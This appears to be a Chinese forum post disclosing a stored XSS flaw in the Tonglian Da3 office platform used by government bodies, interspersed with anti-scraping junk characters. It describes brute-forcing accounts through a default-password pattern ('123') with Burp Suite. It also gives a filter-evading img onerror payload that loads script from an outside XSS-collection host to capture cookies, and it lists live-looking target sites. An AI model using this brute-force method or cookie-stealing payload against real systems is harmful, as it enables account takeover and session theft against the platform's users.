同联Da3协同办公平台后台通用储存型xss漏洞

admin

. Y9 I, r4 x0 y0 i3 P4 b8 G 9 ^/ `# r% o3 q 8 X4 e# x0 P' [* k2 d% L

/ J& ~- q) z, [$ E7 M! _# E# W2 z

) S7 `& P! ^: n) @' q 同联Da3协同办公平台后台通用储存型xss漏洞 2 X' K" I) G+ r$ G [6 t+ h- ?

7 L3 S7 R0 r& ]4 U* P3 p& E. O

平台简介：

! j& ~# _. u5 e O3 Y  

( U$ R. V: u, @+ P2 Q4 k

# y: n" S e8 i s" a, L, Z, m/ ? 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 8 A% P% A L! y7 d: H5 D9 K% N' }

5 \5 s% E7 h/ o, ^

  - I2 i! c+ @( w% c2 d* T, w5 f9 m

- c+ c9 U9 d$ y5 \ l1 _) O' R' a; p

4 U$ U; k7 T4 n+ j2 k' O1 n 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 8 R1 ~7 \0 [1 `

4 `1 x; G9 e. ^' P' E& Z {! B

  , v1 d8 ?) V: t' M8 C7 y. d F1 r

http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） ! C* R0 c+ ~: g( @* [9 x4 @3 {: B5 [

! n: T6 O& n5 t4 N, t) @+ l/ O

- R5 A' P: Y1 w7 o/ s. B$ O 漏洞详情: ) i- W6 I/ @5 b

5 U6 p O$ m H, Z  案例一、

' O7 [+ E1 x) A8 E0 \) b

# B- R- ]% A0 i! G. [8 i+ c8 y 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 1 ^5 Y* x! o7 Z7 x6 l# r" A: A

9 e( v: N9 _( p; Y* S4 S

1 l* d+ z2 K2 z5 m% p0 y6 l$ i. z      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 0 o. B+ G0 b- T. z8 _4 l8 h$ _

7 {7 b( {* z/ X- q$ @

 

$ k4 u7 l5 X; i3 Q& f$ }0 ?5 Q . s1 d+ v8 d) K$ n* k

, B2 v$ y G! l& S0 [/ `6 B status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： " J+ X3 l' @- _5 o2 z

8 O6 E3 @# R) m! h M! f

 

( e% @: U/ T) x: W

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

  g+ b6 ]2 Q! z, W$ w% ^4 O

9 `* c3 a. V" k: g

0 ?; l! O1 A; o. m <img src=x ( D4 ]& [. z* j8 A5 u6 E: ?, }6 u1 Eonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： : P i$ w7 Z9 B) I' ?6 p" H" R

0 t& g; Z, k, I/ p% J" z% G( R+ {2 y

! A: u: l* w; j+ {

然后发送，接收cookie如图： , V+ z9 _% c7 g* V; r7 m

1 e S1 M7 R+ C  

5 J+ r% s* d, W% X

  ' [4 J9 V, R% R0 {" K7 J- W

, ^8 B0 s3 p I& y

, Y2 r. [0 D7 |8 y0 i+ B8 r3 D  

" O! b6 h; w& f8 N1 t/ W  

0 I! P. o% I$ N1 X0 t$ \

( l+ d; Y% ]- b( P( g

~: ~+ P7 Q4 t; G) g   $ i* [9 e8 W$ Z. \. x: I' |* ?

Z6 ]7 O% O9 o1 N& s* l

案例2、

# x5 r/ k3 P, q' J

7 L% G1 t% y. Q' l- A 前面步骤都一样，下面看效果图：

, E3 ^8 G5 z. l6 G! P

: X( b+ [5 e' G0 N * L9 \" _! @6 F C* V9 y7 y# r7 t

0 o) l2 }( s3 e" C% T5 F 1 [! b/ k; J. h- f8 {- ]! N# s

0 i: `6 K' g. d# ^   $ ^; O3 x3 e. N/ m

  * j! J/ a9 Y$ \, ]; m" f% j

; M* K% N& Y+ B# d H; [

2 \/ T1 U/ A; u0 C5 t4 j5 l9 z

 

( W+ d' h: a; M% H" h& { j3 ^

 

: p& i- z5 E4 r. ~- J: U

5 {) P$ P" `; p0 O4 |! Z* C5 G8 g   # w+ L3 V9 [! e4 u' }* a1 ]

0 Y) K% x3 n% {9 g2 M

  n+ _/ E- e4 C* w